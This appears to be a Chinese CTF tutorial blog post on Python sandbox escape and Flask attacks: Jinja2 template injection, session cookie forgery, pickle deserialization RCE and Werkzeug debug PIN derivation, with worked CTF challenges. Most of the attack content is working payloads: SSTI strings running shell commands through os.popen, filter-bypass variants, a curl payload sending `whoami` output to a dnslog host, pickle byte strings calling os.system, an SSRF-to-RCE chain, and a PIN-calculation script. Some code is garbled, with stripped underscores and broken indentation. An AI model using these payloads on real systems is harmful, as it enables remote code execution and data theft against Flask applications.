抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

剖析原理

首先我们需要理解一下 Python 的几种数据类型,笔者这里将常见数据类型放入一个列表中再进行依次打印,例如:

Python3:

Python2:

我们可以看到,使用 type 来进行检查数据类型时,会返回 <class 'XXX'>,那么我们会注意到 XXX 前的 class,在编程语言中,class 是用来定义类的。是的,没错,在 Python 中,一个字符串则为 str 类的对象,一个整形则为 int 类的对象,一个浮点数据则为 float 的对象。..

我们可以通过 id 来看一下这些对象的编号是多少,如图:

得出首条结论:在 Python 中,一切皆对象。

那么知道这些有什么用呢?一个对象则存在属性与方法,我们可以通过 dir 来进行查看,如图 ( 这里用普通字符串来进行举例 ) :

我们可以看到字符串 python2 与 python3 都返回了 upper,我们知道 upper 是一个函数,那么我们使用一下该方法。如图:

因为在 Python 中一切都是对象,所以方法与类也是对象,如图:

我们现在缺少的只是方法与类的调用而已,文章中不再描述如何调用。

那么现在问题就出来了,我们知道 Python 中存在数据类型,这些数据类型它们都是一个类,我们是怎么找到这个类并实例化出来它们的?又或者说,在 Python 中存在一些函数,我们是怎么找到它们并调用的?如何查找到是当前的一个问题。

我们可以通过 globals 函数来进行查看 ( globals 是获取当前可访问到的变量 ) :

我们可以看到我们定义的变量 a 已经放入到 globals 函数当中了,我们可以看到有 builtins 这样一个变量,它是一个模块。并且模块名在 Python2 中命名为 builtin,在 Python3 中又重新命名为了 builtins。

我们使用 dir 看一下该模块中所存在的一些内容。

我们可以看到,我们所使用的基础方法都存放在该模块中,我们使用该模块调用一下 print 函数来进行测试。

我们可以看到,在 Python3 中返回正常,Python2 却抛出异常,这是因为在 Python2 中 print 为一个语句,在 Python3 中它换成了一个函数。

得出第二条结论:在 Python2/3 中,任何基础类以及函数都存放在 builtin/builtins 模块中。

那么如果我们通过一些方式,可以定位到 builtin / builtins 模块,那岂不是可以进行进行调用任意函数了。

现在的问题是我们该怎么定位。

我们知道 builtins 是存放在 globals 函数中的,与变量的作用域是有关系的,谈到变量的作用域,我们会想到一个玩意:自定义方法。

我们可以自定义一个方法,将它视为一个对象,使用 dir 看一下它下面的成员属性。

如图:

果然,在一个普通方法中是存在 globals 这么一个成员属性的,我们可以打印它看一下。

我们可以看到 globals 就是 globals ( ) 函数的返回值,同理,它们下面都存在 builtins 变量,我们可以使用 函数。globals['__builtins__'].恶意函数 ( ) 来执行一下 eval。如图:

我们可以看到,eval 被我们成功执行!

而方法也是可以定义在类中的,我们简单定义一个类,并且定义一个 init 魔术方法 ( init 是魔术方法,该方法在被类创建时自动调用 ) 。

我们可以看到同样是可以调用 eval 的。

如果我们不定义 init 会怎么样呢?我们可以看一下。

可以看到,在 Python2 中会报错,而 python3 中会返回 slot。不定义 init 是不可以访问到 globals 成员属性的,如图:

我们再看一下模块中的方法与当前都有什么区别。

这里区别就很明显了,这里「模块中的方法」中 globals.__builtins__中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下 eval 来进行测试,如图:

当然我们可以使用 import 函数调用 os 来进行执行命令,如图:

我们可以看到 whoami 被成功调用。

得出第三条结论:我们可以通过一个普通函数 ( 或类中已定义的方法 ) 对象下的 globals 成员属性来得到 builtins,从而执行任意函数,这里要注意的是,模块与非模块下的 globals 的区别。

那么实际场景中,根本没有这样一个方法给我们利用。我们应该怎么做?

我们使用 dir 看一下普通类型 ( int,str,bool.... ) 的返回结果。如图:

我们查看一下 class 的内容。如图:

可以看到通过 class 成员属性可以得到当前对象是 XXX 类的实例化。

在 Python 中,所有数据类型都存放于 Object 一个大类中,如图:

我们可以通过 bases/mro/base 来得到 object,如图:

可以看到在 python2 中并没有直接返回 object,我们可以再次访问 bases 就可以得到 object 了,如图:

那么通过 subclasses 即可得到 object 下的所有子类,如图:

下面我们就可以来依次判断这些类中是否定义 init ( 或其他魔术方法 ) 方法,如果定义,那么就可以拿到 init ( 或其他魔术方法 ) 下的 globals.__builtins__ 从而执行任意函数,编写脚本进行测试:

可以看到这些类都是可以进行利用的类。当然,也可以使用其他魔术方法,这里举例 delete 魔术方法,如图:

得出第四条结论:我们可以通过普通数据类型的 class 成员属性得到所属类,再通过 bases/base/mro 可以得到 object 类,再次通过 subclasses ( ) 来得到 object 下的所有基类,遍历所有基类检查是否存在指定的魔术方法,如果存在,那么即可获取 globals.__builtins__,就可以调用任意函数了。

如上总结在 Python2/3 中都是可以进行利用的,只是在 Python2 中多了一种 file 的姿势。

如图:

只是 file 在 Python3 中被移除了,故 Python3 中没有此利用姿势。

Flask 模板注入

沙箱逃逸通常与 flask 的模板注入紧密联系,模板中存在可以植入表达式的可控点那么就会存在 SSTI 问题。

存在漏洞的代码:

from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask ( name )
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta ( days=7 )
@app.route ( '/test',methods=['GET', 'POST'] )
def test ( ) :
    content = request.args.get ( "content" )
    template = '''
    <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    <h4>Your Money : %s</h4>
    </div>
    ''' % ( content, session.get ( 'money' ))
    return render_template_string ( template )
@app.route ( '/sess' )
def t ( ) :
    session['money'] = 100
    return '设置金额成功。..'
if name == 'main':
app.debug = True
app.run ( )

在/test 路由中存在模板注入漏洞,那么我们可以通过传递 payload:

?content={{[].__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'whoami' ) .read ( )}}

来进行执行任意命令 ( subclasses 可利用的键值可以通过 Burp 从 1-999 进行爆破出结果,这里得到 80 可以被利用 ) ,如图:

至此,我们完成了首次模板注入。

但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。

过滤问题总结

这里简单记录一下模板注入中的一些过滤的绕过。

过滤中括号

我们知道 subclasses ( ) 返回一个列表,globals 返回一个字典,而列表的访问语法与字典的访问语法需要借助于中括号,如果将中括号过滤,那么我们怎么办呢?

我们使用 dir 来查看一下「正常的列表/正常的字典」下的成员属性及方法,如图:

可以看到存在 getitem 方法。

进行调用:

当然,字典的访问也是可以通过 getitem 方法来进行绕过 ( pop 方法也可以被利用 ) 。

  • 过滤引号

如果过滤引号,我们岂不是不可以进行模板注入了?

引号则表示 str 类型的数据,而 str 类型的数据可以通过变量来表示,这里可以借助于 flask 中 request.args 对象来作为变量,以 get 传递进行赋值。

构造 Payload:

?content={{[].__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__ [request.args.__builtins__] [request.args.__import__](request.args.os) .popen ( request.args.whoami ) .read ( )}}&builtins=builtins&import=import&os=os&whoami=whoami

如图:

成功执行命令。

过滤双下划线

由于在 jinja2 中允许「对象[属性]」的方式来访问成员属性,如图:

此时的属性放置的内容为字符类型,我们可以通过 request.args 全程代替。

构造 Payload:

?content={{[][request.args.class][request.args.base] [request.args.subclasses]() [80][request.args.init][request.args.globals][request.args.builtins] [request.args.import](request.args.os) .popen ( request.args.whoami ) .read ( )}}&builtins=builtins&import=import&os=os&whoami=whoami&class=class&base=base&subclasses=subclasses&init=init&globals=globals

如图:

当然,也可以通过字符串拼接的方式,构造 Payload:

?content={{[]['_'+'_class_'+'_']}}

结果如下:

过滤大括号

{{}} 通常来表示一个变量,而 {% %} 则表示为流程语句,虽然不可以回显内容,但是我们可以通过 curl 来进行外带数据。

Payload:

?content={% if ''.__class__.__base__.__subclasses__ ( ) [80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'curl http://w9y7rp.dnslog.cn/?test=`whoami`' ) .read ( ) !=1%}1{% endif %}

自定义一个 web 服务即可接收到,笔者这里使用的是 dnslog,得不到发出的参数。如图:

当然反弹 shell 也是一种不错的姿势,这里就不再描述了。

Flask 的一些其他问题

Python 的 session 值篡改攻击

在 CTF 考点中还存在一种身份伪造类的题目。我们看一下该代码块的 sess 路由,如图:

from flask import Flask,render_template,request,render_template_string,session
from datetime import timedelta
app = Flask ( name )
app.config['SECRET_KEY'] = 'hacker'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta ( days=7 )
@app.route ( '/test',methods=['GET', 'POST'] )
def test ( ) :
    content = request.args.get ( "content" )
    template = '''
    <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    <h4>Your Money : %s</h4>
    </div>
    ''' % ( content, session.get ( 'money' ))
    return render_template_string ( template )
@app.route ( '/sess' )
def t ( ) :
    session['money'] = 100
    return '设置金额成功。..'
if name == 'main':
    app.debug = True
    app.run ( )

我们可以看到,这里定义了 session[money]=100。当我们访问/sess 时,服务端就会返回一个 jwt 给我们,如图:

可以看到 session 是以 jwt 来进行存储的,而使用 jwt 存储是有危害的。

关于 jwt 的解释:https://www.jianshu.com/p/576dbf44b2ae

只要我们获取 SECRET_KEY,那么该 JWT 是可以进行伪造的。

问题是我们如何进行获取 SECRET_KEY?

  • 第一种:通过 SSTI 的{{config}}

如图:

我们可以看到,{{config}}是可以窃取出 SECRET_KEY。

  • 第二种:通过 Linux 中的/proc/self/environ

这种姿势我们会在「CTF 小结」中的一道叫做「[PASECA2019] honey_shop」的题目所记载。它需要任意文件读取的姿势才可以进行得到 SECRET_KEY。

  • 第三种:爆破

有一道叫做「[CISCN2019 华北赛区 Day1 Web2] ikun」的题目涉及到了这种姿势,其中又提到了 Python 反序列化,这里奉上 WriteUp:

https://blog.csdn.net/weixin_43345082/article/details/97817909

对于反序列化,笔者会在 0x02 中进行描述。

我们可以通过 flask-session-cookie-manager 工具来生成恶意的 JWT 即可完成身份伪造,工具 GitHub: https://github.com/style-404/flask-session-cookie-manager。

首先我们对当前的 JWT 进行 base64 解码,如图:

这里可以得出一条 JSON 数据过来,那么我们使用 flask-session-cookie-manager 工具,借助 SECRET_KEY 来将 money 篡改为 999.

工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"

修改本地的 session 值,随后访问/test 查看结果。

可以看到成功篡改 money 的值。

  • 基于 DEBUG 的 PIN 码攻击

它所利用的条件为 任意文件读取+flask 的 DEBUG 模式。

参考文章:https://xz.aliyun.com/t/2553

这里笔者就不再做演示了。

部分 CTF 题目实例

Real -> [Flask] SSTI

这道题是比较基础的一道题目,无任何过滤,我们直接进行注入即可。

可以看到表达式被正常解析,那么继续往下操作即可。

构造 Payload:

?name={{[].__class__.__base__.__subclasses__ ( )[80].__init__.__globals__['__builtins__'] ['__import__']('os') .popen ( 'ls /' ) .read ( )}}

命令执行结果如图:

WEB -> [GYCTF2020] FlaskApp

该题目有两个功能,Base64 加密与 Base64 解密,在 Base64 解密处存在模板注入。

题目如图:

解密结果:

由此得知存在 ssti。

经过测试,得知 75 存在可利用的 function 为 init,如图:

提交后:

但继续往下构造攻击链时,发现过滤了一些敏感关键字,使用 open 进行读取源码:

源码过滤如图:

我们可以看到万恶的 request 也被过滤了,但是这里我们可以使用字符拼接来进行绕过,popen 可以使用中括号加字符拼接的方式进行调用,那么构造 Payload:

{{[].__class__.__base__.__subclasses__ ( ) [75].__init__.__globals__['__builtins__'] ['__imp'+'ort__']('o'+'s') ['po'+'pen'] ( 'ls /' ) .read ( )}}

编码为 base64 后提交,查看一下结果:

存在 flag 关键字,导致我们无法读取,这里我们可以通过命令执行的绕过姿势「\」来进行绕过,再次构造 Payload:

{{[].__class__.__base__.__subclasses__ ( ) [75].__init__.__globals__['__builtins__'] ['__imp'+'ort__']('o'+'s') ['po'+'pen'] ( 'cat /this_is_the_fl\\ag.txt' ) .read ( )}}

编码为 base64 后进行提交:

WEB -> [CSCCTF 2019 Qual] FlaskLight

打开题目源码发现提示参数 search

那么我们可以通过?search={{2*3}}来查看一下结果。

可以看到 6 弹我们一脸,那么此处存在 ssti。

subclasses 丢进 Burp 进行爆破键值,如图:

得出下标为 59 的 init 魔术方法可以被利用,如图:

构造 Payload 至 globals 发现被过滤,简单访问一下,真的返回 500,如图:

可以使用 request.arg.x 来进行绕过,构造 Payload:

?search={{[].__class__.__base__.__subclasses__ ( ) [59].__init__ [request.args.g]['__builtins__'] ['__import__']('os') .popen ( 'ls /flasklight' ) .read ( )}}&g=globals

查看结果:

再次构造 Payload 读取 flag:

?search={{[].__class__.__base__.__subclasses__ ( ) [59].__init__ [request.args.g]['__builtins__'] ['__import__']('os') .popen ( 'cat /flasklight/coomme_geeeett_youur_flek' ) .read ( )}}&g=globals

如图:

  • WEB -> [pasecactf_2019] flask_ssti

查看源代码,发现 Ajax 请求:

笔者在构造 Payload 时,发现过滤了 单引号 ( 『 ) 、点 ( . ) ,下划线 ( _ ) ,那么我们可以通过双引号来解析变量,并且使用 16 进制代替下划线即可。

如图:

构造 Payload 来进行爆破下标:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"] ["\x5F\x5Fsubclasses\x5F\x5F"]() [§80§]["\x5F\x5Finit\x5F\x5F"]}}

发现下标为 91 的 init 方法可以被利用,如图:

构造 Payload 执行命令:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"] ["\x5F\x5Fsubclasses\x5F\x5F"]() [91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"] ["\x5F\x5Fimport\x5F\x5F"]("os")  ["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79")  ["read"]() }}

其中

\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79

为 cat /proc/self/cwd/app.py,这里转换可以使用笔者已经写好的脚本:

payload = b'cat /proc/self/cwd/app.py'
string = payload.hex ( )
result = ''
for i in range ( 0, len ( string ) , 2 ) :
    result += '\\x' + string [i: i+2]
print ( result )

结果如图:

可以看到 flag 文件被 os 删掉了,但是 flag 的值被存放于 app.config 当中,并且经过了 encode 函数处理,我们可以看一下 encode 函数的定义:

是使用的异或算法,那么现在我们只需要从 config 中拿到加密后的 flag 值,并且将它再次执行一下 encode 函数即可得到 flag。

再次执行函数

则得到 flag。

WEB -> [PASECA2019] honey_shop

该题目属于 JWT 身份伪造攻击,首先我们打开主页,可以看到金额为 1336,如图:

而 flag 需要 1337。

在/download 路由下存在文件下载,猜测存在任意文件下载,那么我们下载。./../../../../../../../../proc/self/environ 来进行观察,如图:

成功下载到并拿到 SECRET_KEY,然后我们对当前网址的 jwt 使用 base64 进行解密,得出:

伪造为:{"balance":1338,"purchases": []},即可购买 flag 了。

Python 反序列化漏洞利用、原理文章推荐

因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。

传送门:https://zhuanlan.zhihu.com/p/89132768

这里做一下总结,并且对一种利用姿势扩大成果,然后分享一道有意思的例题。

Python 反序列化能干什么?

R 指令码的 RCE

Python 的反序列化比 PHP 危害更大,可以直接进行 RCE。

编写测试脚本:

import pickle, os, base64
class Exp ( object ) :
    def reduce ( self ) :
    return ( os.system, ( 'dir', ))
with open ( './hacker.txt', 'wb' ) as fileObj:
    pickle.dump ( Exp ( ) , fileObj )

会在当前目录生成 hacker.txt,内容为序列化的值。如图:

我们再次使用 pickle 进行反序列化即可执行 dir 命令。

这里可以看到成功执行了 dir 命令。

c 指令码的变量获取

当 R 指令码被禁用后,我们可以采取这种姿势来获取变量。

在当前目录下创建 flag.py 文件,并且存放一个 flag 变量,当作模块来进行使用。如图:

编写获取 flag 变量的脚本:

import flag, pickle
class Person ( ) :
    pass
b = b'\x80\x03cmain\nPerson\n ) \x81} ( Vtest\ncflag\nflag\nub.'
print ( pickle.loads ( b ) .test )

主要思路为:cflag\nflag\n当作 test 属性的 value 值压进了前序栈的空 dict,随后使用 b 覆盖了 Person 类的 dict 成员属性,导致了变量被窃取。

我们可以看到 pickle.loads 返回的对象下的 test 就是 flag 的值,如图:

c 指令码的变量修改

当 R 指令码被禁用后,并且 find_class 函数只允许获取 main 中的变量时,我们可以采取这种姿势来修改任意变量。

在原理文章中并没有提到一种姿势,而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。

测试脚本:

import flag, pickle
class Person ( ) :
    pass
b = b'\x80\x03cmain\nflag\n} ( Vflag\nVhacker\nub0cmain\nPerson\n ) \x81} ( Va\nVa\nub.'
pickle.loads ( b )
print ( flag.flag )

主要思路为:使用 c 将 flag 模块导入进来,通过 ub 来更新 flag 模块的 dict 属性,故可以恶意修改变量的值。

查看结果:

我们可以看到,flag 包中的 flag 变量被成功修改。

那么在反序列化中,一个普通字符串也是可以当作一种数据来进行序列化的,所以这里并不需要 Person 的类支撑即可完成变量修改。

修改脚本如下:

import flag, pickle
b = b'\x80\x03cmain\nflag\n} ( Vflag\nVhacker\nub0Va\n.'
print ( pickle.loads ( b ))
print ( flag.flag )

结果:

那么就成功篡改了 flag 包中的 flag 变量的内容。

setstate 特性 RCE

编写测试脚本:

import flag, pickle
class Person ( ) :
    pass
b = b'\x80\x03cmain\nobject\n ) \x81} ( Vsetstate\ncos\nsystem\nubVdir\nb.'
print ( pickle.loads ( b ))

主要思路为:借助于 setstate 的特性造成了 RCE。

执行结果:

可以看到成功执行了 dir 命令。

近看一道 ssrf+反序列化+SSTI 的例题

这道题是朋友很早之前就留下来的,在网上也找不到现成的反序列化题目,就用它好了。

题目代码是这样的:

from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import io
app = Flask ( name )
class RestrictedUnpickler ( pickle.Unpickler ) :
    def find_class ( self, module, name ) :
        if module == 'main':
        return getattr ( sys.modules['__main__'], name )
        raise pickle.UnpicklingError ( "only main" )
    def get_domain ( url ) :
        if url.startswith ( 'http://' ) :
            url = url [7: ]
        if not url.find ( "/" ) == -1:
            domain = url [url.find ( "@" ) +1: url.index ( "/",url.find ( "@" )) ]
        else:
            domain = url [url.find ( "@" ) +1: ]
        print ( domain )
        return domain
    else:
        return False
    @app.route ( "/", methods=['GET'] )
    def index ( ) :
        return render_template ( "index.html" )
    @app.route ( "/get_baidu", methods=['GET'] ) # get_baidu?url=http://127.0.0.1:8000/[email protected]/
    def get_baidu ( ) :
        url = request.args.get ( "url" )
        if ( url == None ) :
            return "please get url"
        if ( get_domain ( url ) == "www.baidu.com" ) :
            content = urllib.request.urlopen ( url ) .read ( )
            return content
        else:
            return render_template ( 'index.html' )
    @app.route ( "/admin", methods=['GET'] )
    def admin ( ) :
        data = request.args.get ( "data" )
        if ( data == None ) :
            return "please get data"
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return redirect ( 'index' )
        else:
            name = base64.b64decode ( data )
        if b'R' in name:
            return "no reduce"
        name = RestrictedUnpickler ( io.BytesIO ( name )) .load ( )
        if name == "admin":
            t = Template ( "Hello " + name )
        else:
            t = Template ( "Hello " + ctf_config.name )
        return t.render ( )
if name == 'main':
app.debug = False
app.run ( host='0.0.0.0', port=8000 )

在 45 行中存在一个判断。

if ( get_domain ( url ) == "www.baidu.com" ) :
    content = urllib.request.urlopen ( url ) .read ( )
return content

如果进入到该分支则调用至 urllib.request.urlopen 函数,那么我们看一下 get_domain 方法是逻辑是怎么样的。

在 27 行中出现了漏洞问题,如果 url 中存在「/」,则返回@符号往后的内容,那么这里存在一个伪造的情况,例如: http://127.0.0.1:3306/[email protected]/,则会匹配到 www.baidu.com/,但是实际发送出的 HTTP 请求还是发送至 127.0.0.1 身上,所以说这里存在一个 SSRF 漏洞问题。

而在 51-68 行中确实验证了访问者的 IP ( 这里可以使用 SSRF 进行绕过 ) ,如图:

61 行禁用了 R 指令,则表示不可以使用 reduce 进行命令执行操作,可以看到 63 行实例化了 RestrictedUnpickler 类,而该类则继承了 pickle.Unpickler 类,如图:

同时重写了 find_class 的方法,这时 c 指令只可以进行导入本地模块。而类名中存在「R 关键字」,则无法进行 setstate 姿势的 RCE,这里利用方式只剩下一种:c 指令码的变量修改。

但是变量修改有什么用呢?我们可以注意到第 67 行的 ctf_config 包下的 name 变量,如图:

直接将变量的值拼接到 Template 方法中,这里存在一个 SSTI 注入问题。

那么思路就有了:通过 get_data 路由发送 SSRF 请求->admin 路由接收进行反序列化->修改 ctf_config 下的 name 属性为 SSTI 注入语句->实现 RCE。

那么编写 POC 脚本:

import base64
ssti = b'2\*6'
payload = b'\x80\x03cmain\nctf_config\n} ( Vname\nV{{' + ssti + b'}}\nub0V123\n.'
payload = base64.b64encode ( payload ) .decode ( 'utf-8' )
print ( payload )

传递 Payload:

http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI 的值%[email protected]/

如图:

成功进行 SSTI 注入,笔者发现 subclasses ( ) 的第 81 下标存在可利用的 function,那么这里直接执行 whoami:

可以看到成功执行了「whoami」。

Flask Debug

之前在国赛决赛的时候看到 p0 师傅提到的关于 Flask debug 模式下,配合任意文件读取,造成的任意代码执行。那时候就很感兴趣,无奈后来事情有点多,一直没来得及研究。今天把这个终于把这个问题复现了一下

主要就是利用 Flask 在 debug 模式下会生成一个 Debugger PIN

kingkk@ubuntu:~/Code/flask$ python3 app.py
 -   Running on http://0.0.0.0:8080/ ( Press CTRL+C to quit )
 -   Restarting with stat
 -   Debugger is active!
 -   Debugger pin code: 169-851-075

通过这个 pin 码,我们可以在报错页面执行任意 python 代码

问题就出在了这个 pin 码的生成机制上,在同一台机子上多次启动同一个 Flask 应用时,会发现这个 pin 码是固定的。是由一些固定的值生成的,不如直接来看看 Flask 源码中是怎么写的

代码逻辑分析

测试环境为:

  • Ubuntu 16.04
  • python 3.5
  • Flask 0.10.1

一个简单的 hello world 程序 app.py

# -*- coding: utf-8 -*-
from flask import Flask
app = Flask ( __name__ )

@app.route ( "/" )
def hello ( ) :
    return 'hello world!'

if __name__ == "__main__":
    app.run ( host="0.0.0.0", port=8080, debug=True )

用 pycharm 在 app.run 下好断点,开启 debug 模式

由于代码写的还是相当官方的,很容易就能找到生成 pin 码的部分,大致跟踪流程如下

app.py
python3.5/site-packages/flask/app.py  772 行左右 run_simple ( host, port, self, options )
python3.5/site-packages/werkzeug/serving.py 751 行左右 application = DebuggedApplication ( application, use_evalex )
python3.5/site-packages/werkzeug/debug/__init__.py

主要就在这个 debug/__init__.py 中,先来看一下 _get_pin 函数

def _get_pin ( self ) :
    if not hasattr ( self, '_pin' ) :
        self._pin, self._pin_cookie = get_pin_and_cookie_name ( self.app )
    return self._pin

跟进一下 get_pin_and_cookie_name 函数

def get_pin_and_cookie_name ( app ) :
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get ( 'WERKZEUG_DEBUG_PIN' )
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == 'off':
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace ( '-', '' ) .isdigit ( ) :
        # If there are separators in the pin, return it directly
        if '-' in pin:
            rv = pin
        else:
            num = pin

    modname = getattr ( app, '__module__',
                      getattr ( app.__class__, '__module__' ))

    try:
        # `getpass.getuser ( )` imports the `pwd` module,
        # which does not exist in the Google App Engine sandbox.
        username = getpass.getuser ( )
    except ImportError:
        username = None

    mod = sys.modules.get ( modname )

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) ,
        getattr ( mod, '__file__', None ) ,
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str ( uuid.getnode ( )) ,
        get_machine_id ( ) ,
    ]

    h = hashlib.md5 ( )
    for bit in chain ( probably_public_bits, private_bits ) :
        if not bit:
            continue
        if isinstance ( bit, text_type ) :
            bit = bit.encode ( 'utf-8' )
        h.update ( bit )
    h.update ( b'cookiesalt' )

    cookie_name = '__wzd' + h.hexdigest ( ) [:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update ( b'pinsalt' )
        num = ( '%09d' % int ( h.hexdigest ( ) , 16 )) [:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5,4, 3:
            if len ( num ) % group_size == 0:
                rv = '-'.join ( num [x: x + group_size].rjust ( group_size, '0' )
                              for x in range ( 0, len ( num ) , group_size ))
                break
        else:
            rv = num

    return rv, cookie_name

return 的 rv 变量就是生成的 pin 码

最主要的就是这一段哈希部分

for bit in chain ( probably_public_bits, private_bits ) :
    if not bit:
        continue
    if isinstance ( bit, text_type ) :
        bit = bit.encode ( 'utf-8' )
    h.update ( bit )
h.update ( b'cookiesalt' )

连接了两个列表,然后循环里面的值做哈希

这两个列表的定义

probably_public_bits = [
        username,
        modname,
        getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) ,
        getattr ( mod, '__file__', None ) ,
    ]

    private_bits = [
        str ( uuid.getnode ( )) ,
        get_machine_id ( ) ,
    ]

可以先看一下 debug 的值,配合 debug 中的值做进一步分析

可以看到

username 就是启动这个 Flask 的用户

modname 为 flask.app

getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) 为 Flask

getattr ( mod, '__file__', None ) 为 flask 目录下的一个 app.py 的绝对路径

uuid.getnode ( ) 就是当前电脑的 MAC 地址,str ( uuid.getnode ( )) 则是 mac 地址的十进制表达式

get_machine_id ( ) 不妨跟进去看一下

def _generate ( ) :
        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
            try:
                with open ( filename, 'rb' ) as f:
                    return f.readline ( ) .strip ( )
            except IOError:
                continue

        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information.
        try:
            # Also catch import errors: subprocess may not be available, e.g.
            # Google App Engine
            # See https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE
            dump = Popen ( ['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
                         stdout=PIPE ) .communicate ( ) [0]
            match = re.search ( b'"serial-number" = <( [^>]+ ) ', dump )
            if match is not None:
                return match.group ( 1 )
        except ( OSError, ImportError ) :
            pass

        # On Windows we can use winreg to get the machine guid
        wr = None
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                pass
        if wr is not None:
            try:
                with wr.OpenKey ( wr.HKEY_LOCAL_MACHINE,
                                'SOFTWARE\\Microsoft\\Cryptography', 0,
                                wr.KEY_READ | wr.KEY_WOW64_64KEY ) as rk:
                    machineGuid, wrType = wr.QueryValueEx ( rk, 'MachineGuid' )
                    if ( wrType == wr.REG_SZ ) :
                        return machineGuid.encode ( 'utf-8' )
                    else:
                        return machineGuid
            except WindowsError:
                pass

    _machine_id = rv = _generate ( )
    return rv

首先尝试读取 /etc/machine-id 或者 /proc/sys/kernel/random/boot_i 中的值,若有就直接返回

假如是在 win 平台下读取不到上面两个文件,就去获取注册表中 SOFTWARE\\Microsoft\\Cryptography 的值,并返回

这里就是 etc/machine-id 文件下的值

这样,当这 6 个值我们可以获取到时,就可以推算出生成的 PIN 码,引发任意代码执行

配合任意文件读取

修改一下之前的 app.py,增加一个任意文件读取功能,并让 index 页面抛出一个异常 ( 也就是给一个代码执行点

# -*- coding: utf-8 -*-
import pdb
from flask import Flask, request
app = Flask ( __name__ )

@app.route ( "/" )
def hello ( ) :
    return Hello['a']

@app.route ( "/file" )
def file ( ) :
    filename = request.args.get ( 'filename' )
    try:
        with open ( filename, 'r' ) as f:
            return f.read ( )
    except:
        return 'error'

if __name__ == "__main__":
    app.run ( host="0.0.0.0", port=8080, debug=True )

尝试去获取那 6 个变量值

username # 用户名

modname # flask.app

getattr ( app, '__name__', getattr ( app.__class__, '__name__' )) # Flask

getattr ( mod, '__file__', None ) # flask 目录下的一个 app.py 的绝对路径

uuid.getnode ( ) # mac 地址十进制

get_machine_id ( ) # /etc/machine-id

首先先获取 /etc/machine-id

19949f18ce36422da1402b3e3fe53008

然后是 mac 地址 ( 我虚拟机中网卡为 ens33,一般情况下应该是 eth0 )

然后还可以利用 debug 的报错页面获取一些路径信息

这样直接用户名和 app.py 的绝对路径都能获得到了

然后利用几个值,就可以推算出 pin 码

import hashlib
from itertools import chain
probably_public_bits = [
    'kingkk',# username
    'flask.app',# modname
    'Flask',# getattr ( app, '__name__', getattr ( app.__class__, '__name__' ))
    '/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr ( mod, '__file__', None ) ,
]

private_bits = [
    '52242498922',# str ( uuid.getnode ( )) ,  /sys/class/net/ens33/address
    '19949f18ce36422da1402b3e3fe53008'# get_machine_id ( ) , /etc/machine-id
]

h = hashlib.md5 ( )
for bit in chain ( probably_public_bits, private_bits ) :
    if not bit:
        continue
    if isinstance ( bit, str ) :
        bit = bit.encode ( 'utf-8' )
    h.update ( bit )
h.update ( b'cookiesalt' )

cookie_name = '__wzd' + h.hexdigest ( ) [:20]

num = None
if num is None:
    h.update ( b'pinsalt' )
    num = ( '%09d' % int ( h.hexdigest ( ) , 16 )) [:9]

rv =None
if rv is None:
    for group_size in 5,4, 3:
        if len ( num ) % group_size == 0:
            rv = '-'.join ( num [x: x + group_size].rjust ( group_size, '0' )
                          for x in range ( 0, len ( num ) , group_size ))
            break
    else:
        rv = num

print ( rv )

算出来 pin 码为

169-851-075

可以看到和终端输出的 pin 码值是一样的

kingkk@ubuntu:~/Code/flask$ python3 app.py
 -   Running on http://0.0.0.0:8080/ ( Press CTRL+C to quit )
 -   Restarting with stat
 -   Debugger is active!
